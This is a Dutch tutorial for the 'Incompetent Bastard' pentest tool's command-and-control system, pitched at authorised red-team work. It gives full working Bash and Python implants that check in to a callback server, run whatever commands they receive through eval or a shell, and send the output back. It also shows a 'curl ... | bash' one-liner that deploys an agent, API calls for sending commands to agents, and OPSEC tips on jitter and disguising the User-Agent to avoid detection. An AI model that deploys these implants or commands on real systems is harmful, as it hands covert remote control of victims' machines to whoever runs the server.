Agent C2 met Incompetent Bastard
Incompetent Bastard (IB) bevat een volledig command-and-control (C2) systeem waarmee je tijdens een geautoriseerde penetratietest lichtgewicht agents kunt uitrollen op doelsystemen. Deze agents melden zich aan bij het IB-dashboard, pollen voor opdrachten, voeren ze uit en rapporteren de resultaten terug. In deze tutorial leer je hoe het agentsysteem werkt, hoe je agents genereert en hoe je ze operationeel inzet.
IB – Het agentsysteem is bedoeld voor geautoriseerde pentests en red team assessments. Gebruik het uitsluitend binnen de scope van je opdracht.
Vereisten
- Een werkende IB-installatie (Python 3, Flask)
- IB draait en is bereikbaar:
flask --app app:create_app run --host 127.0.0.1 --port 5000- Netwerktoegang vanaf het doelsysteem naar de IB-server
- Op het doelsysteem: een shell of uitvoermogelijkheid (curl, Python, PowerShell, etc.)
Hoe het agentsysteem werkt
Het IB C2-systeem volgt een pull-based model met vier kernfasen:
- Checkin – de agent registreert zich bij IB
- Polling – de agent vraagt periodiek om nieuwe opdrachten
- Uitvoering – de agent voert het commando lokaal uit
- Rapportage – de agent stuurt het resultaat terug
De vier API-endpoints
| Endpoint | Methode | Beschrijving |
|---|---|---|
/agent/checkin |
POST | Registratie met hostname, username, os_info |
/agent/cmd/<agent_id> |
GET | Volgende opdracht ophalen (204 = geen opdracht) |
/agent/res/<cmd_id> |
POST | Resultaat van opdracht terugsturen |
/agent/heartbeat/<agent_id> |
POST | Heartbeat om de agent als actief te markeren |
Checkin in detail
Bij de eerste aanmelding stuurt de agent een JSON-body naar
/agent/checkin:
{
"hostname": "WORKSTATION01",
"username": "j.devries",
"os_info": "Windows 10 x86_64",
"script": "powershell"
}De server retourneert een uniek agent_id en een
polling-interval:
{"agent_id": "aBcDeFgHiJkLmNoPqRsTuVwXyZ012345", "freq": 3}Statusbepaling
IB bepaalt de status op basis van de tijd sinds het laatste contact:
| Tijd sinds laatste contact | Status |
|---|---|
| < 30 seconden | active (groen) |
| 30 sec – 5 min | idle (geel) |
| > 5 minuten | dead (rood) |
Agents genereren
Navigeer naar /dashboard/agentgen. De generator biedt
agents in zeven talen met de volgende parameters:
| Parameter | Beschrijving | Voorbeeld |
|---|---|---|
| Callback URL | Adres van je IB-server | http://10.10.14.5:5000 |
| Frequentie | Polling-interval in seconden | 5 |
| Jitter | Procentuele afwijking op het interval | 20 |
| Retry max | Maximum backoff-multiplier | 5 |
| Label | Herkenbaar label voor de agent | initial-access |
IB – Stel de callback URL in op het IP-adres dat
bereikbaar is vanuit het doelnetwerk, niet op
127.0.0.1.
Bash agent
Gebruikt curl, werkt op elk Linux- of macOS-systeem:
#!/bin/bash
CB="http://10.10.14.5:5000"
FREQ=5
hname=$(hostname 2>/dev/null || echo unknown)
uname_val=$(whoami 2>/dev/null || echo unknown)
os_info=$(uname -srm 2>/dev/null || echo unknown)
resp=$(curl -sk -X POST "$CB/agent/checkin" \
-H "Content-Type: application/json" \
-d "{\"hostname\":\"$hname\",\"username\":\"$uname_val\",\"os_info\":\"$os_info\",\"script\":\"bash\"}")
agent_id=$(echo "$resp" | python3 -c "import sys,json;print(json.load(sys.stdin)['agent_id'])" 2>/dev/null)
[ -z "$agent_id" ] && exit 1
while true; do
raw=$(curl -sk -w "\n%{http_code}" "$CB/agent/cmd/$agent_id")
code=$(echo "$raw" | tail -1)
body=$(echo "$raw" | sed '$d')
if [ "$code" = "200" ]; then
cmd_id=$(echo "$body" | python3 -c "import sys,json;print(json.load(sys.stdin)['id'])" 2>/dev/null)
command=$(echo "$body" | python3 -c "import sys,json;print(json.load(sys.stdin)['command'])" 2>/dev/null)
output=$(eval "$command" 2>&1)
curl -sk -X POST "$CB/agent/res/$cmd_id" -d "$output" >/dev/null 2>&1
fi
sleep $FREQ
donePython agent
Cross-platform, alleen standaardbibliotheek:
import socket,os,json,time,subprocess,platform
from urllib.request import Request,urlopen
CB = "http://10.10.14.5:5000"
FREQ = 5
h = socket.gethostname()
u = os.getenv("USER") or os.getenv("USERNAME") or "unknown"
o = f"{platform.system()} {platform.release()} {platform.machine()}"
def post(url, data, ct="application/json"):
return urlopen(Request(url, data=data.encode(), headers={"Content-Type": ct}, method="POST"))
resp = json.loads(post(f"{CB}/agent/checkin", json.dumps({"hostname":h,"username":u,"os_info":o,"script":"python"})).read())
aid = resp["agent_id"]
while True:
try:
r = urlopen(Request(f"{CB}/agent/cmd/{aid}"))
if r.status == 200:
d = json.loads(r.read())
out = subprocess.run(d["command"], shell=True, capture_output=True, text=True, timeout=300)
post(f"{CB}/agent/res/{d['id']}", out.stdout + out.stderr, "text/plain")
except Exception:
pass
time.sleep(FREQ)Overige talen
IB ondersteunt daarnaast agents in PowerShell
(IWR-based), C# (HttpClient), Go
(net/http), Ruby (net/http) en Rust
(reqwest crate). Elk van deze templates is beschikbaar via
/dashboard/agentgen.
Het Agents Dashboard
Op /dashboard/agents zie je alle geregistreerde agents
met: Agent ID, hostname, username, OS, IP, script-type, status, last
seen en een link naar de asciicast-recording.
Agents API
# Alle agents opvragen
curl http://127.0.0.1:5000/api/agents
# Commandogeschiedenis van een agent
curl http://127.0.0.1:5000/api/agents/AGENT_ID/historyOpdrachten versturen
Via het dashboard
Op /dashboard/agents selecteer je een actieve agent en
type je een commando. Het wordt in de wachtrij geplaatst en bij de
volgende poll uitgevoerd.
Via de API
curl -X POST http://127.0.0.1:5000/api/agents/AGENT_ID/command \
-H "Content-Type: application/json" \
-d '{"command":"whoami /all"}'De status doorloopt: queued -> sent
-> done.
Agent recordings
IB legt automatisch een opname aan in asciicast v2 formaat per agent
in meuk/logs/. Bekijk recordings op
/dashboard/recordings als afspeelbare terminal-sessie.
IB – Recordings zijn waardevol als bewijsmateriaal. Exporteer ze als onderdeel van je rapportage.
Praktisch scenario: Linux-doel via reverse shell
Stap 1: Genereer een Bash-agent
Ga naar /dashboard/agentgen met callback
http://10.10.14.5:5000, frequentie 5 seconden, jitter
20%.
Stap 2: Deploy de agent
curl -sk http://10.10.14.5:5000/http/payloads/agent.sh | bashStap 3: Bevestig de checkin
Op het dashboard verschijnt de agent. Controleer status, hostname en OS-informatie.
Stap 4: Voer opdrachten uit
curl -X POST http://127.0.0.1:5000/api/agents/AGENT_ID/command \
-H "Content-Type: application/json" \
-d '{"command":"id && uname -a && ip addr"}'Stap 5: Bekijk de recording
Op /dashboard/recordings zie je de volledige sessie als
terminal-opname.
Agent verwijderen
curl -X DELETE http://127.0.0.1:5000/api/agents/AGENT_IDOPSEC-overwegingen
- Polling-interval: laag (1-3s) = snel maar luidruchtig; hoog (30-60s) = stil maar traag
- Jitter (10-30%): maakt het polling-patroon minder voorspelbaar
- User-Agent: standaard valt op; pas aan met
-H "User-Agent: Mozilla/5.0 ..." - HTTPS: configureer IB achter een reverse proxy met TLS
- Kill date: stel altijd in zodat agents niet oneindig draaien
IB – Stel altijd een kill date in zodat agents niet oneindig blijven draaien als je ze vergeet op te ruimen.
Samenvatting
Het IB C2-agentsysteem biedt een lichtgewicht manier om doelsystemen te besturen:
- Genereer agents in 7 talen via
/dashboard/agentgen - Agents registreren zich via
POST /agent/checkin - Opdrachten worden gepusht via de API of het dashboard op
/dashboard/agents - Sessies worden automatisch opgenomen in asciicast v2 formaat
- Alle interacties zijn beschikbaar via de REST API voor automatisering
De volledige broncode is beschikbaar op GitHub.